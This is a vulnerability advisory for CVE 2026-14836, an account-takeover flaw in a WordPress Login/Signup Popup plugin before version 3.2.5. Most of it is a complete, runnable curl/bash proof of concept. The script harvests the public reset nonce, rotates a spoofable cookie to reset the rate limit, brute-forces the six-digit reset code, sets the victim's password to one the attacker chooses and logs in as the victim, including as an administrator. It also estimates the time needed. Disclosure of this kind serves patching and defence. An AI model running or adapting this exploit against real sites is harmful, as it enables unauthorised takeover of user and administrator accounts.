Login/Signup Popup < 3.2.5 – Unauthenticated Account Takeover via Password Reset Rate Limit Bypass | CVE 2026-14836

Description

The plugin does not properly enforce the rate limit on its password-reset verification-code flow, keying both the verification code and the per-source attempt counter on an unauthenticated, client-controlled value, allowing unauthenticated attackers to reset the limit at will and brute-force the code to take over any account, including administrators, when the verification-code reset mode is enabled.

Proof of Concept

Precondition: the plugin's "Reset Password Email" option is set to "Send Verification Code" (m-reset-pw='code'). The default is "link"; the code mode is a vendor-marketed option. The attacker must know the victim's account email. WooCommerce is not required.

BASE=https://victim.example ; AJAX=$BASE/wp-admin/admin-ajax.php

# 1. Harvest the public reset nonce from any front-end page (the popup is injected on wp_footer for logged-out visitors):
NONCE=$(curl -sk "$BASE/" | grep -oE 'xoo-el-resetpw-nonce-field" value="[a-f0-9]+"' | grep -oE '[a-f0-9]+"$' | tr -d '"')

# 2-3. Per iteration: rotate the client-set cookie to any string (mints a fresh code + fresh attempt window),
#      trigger the reset, then spend the 7 allowed guesses; repeat until a code hits. No per-source lockout ever fires.
i=0; while :; do i=$((i+1)); C="attacker-$i"
  curl -sk -X POST "$AJAX" -H "Cookie: xoo_user_ip_data={\"ip_address\":\"$C\"}" \
    --data-urlencode action=xoo_el_form_action --data-urlencode _xoo_el_form=lostPassword \
    --data-urlencode user_login=VICTIM_EMAIL >/dev/null
  for g in $(seq 1 7); do GUESS=$(shuf -i 100000-999999 -n1)
    R=$(curl -sk -X POST "$AJAX" -H "Cookie: xoo_user_ip_data={\"ip_address\":\"$C\"}" \
      --data-urlencode action=xoo_el_code_form_submit --data-urlencode xoo_el_code_ajax=reset_password \
      --data-urlencode code=$GUESS)
    case "$R" in *Thank\ you\ for\ verifying*) HIT=$C; break 2;; esac
  done
done

# 4. Reset the victim's password with the winning cookie + harvested nonce:
curl -sk -X POST "$AJAX" -H "Cookie: xoo_user_ip_data={\"ip_address\":\"$HIT\"}" \
  --data-urlencode action=xoo_el_form_action --data-urlencode _xoo_el_form=resetPassword \
  --data-urlencode "xoo-el-resetpw-nonce-field=$NONCE" \
  --data-urlencode 'xoo-el-rp-pass=Attacker-Owned-123' --data-urlencode 'xoo-el-rp-pass-again=Attacker-Owned-123'

# 5. Log in as the victim:
curl -Lsk -X POST "$BASE/wp-login.php" --data-urlencode log=VICTIM_LOGIN \
  --data-urlencode pwd=Attacker-Owned-123 --data-urlencode wp-submit='Log In' --data-urlencode testcookie=1

Effort: ~89k cookie rotations for a 50% hit (~1h with modest parallelism from a single source IP, zero lockouts).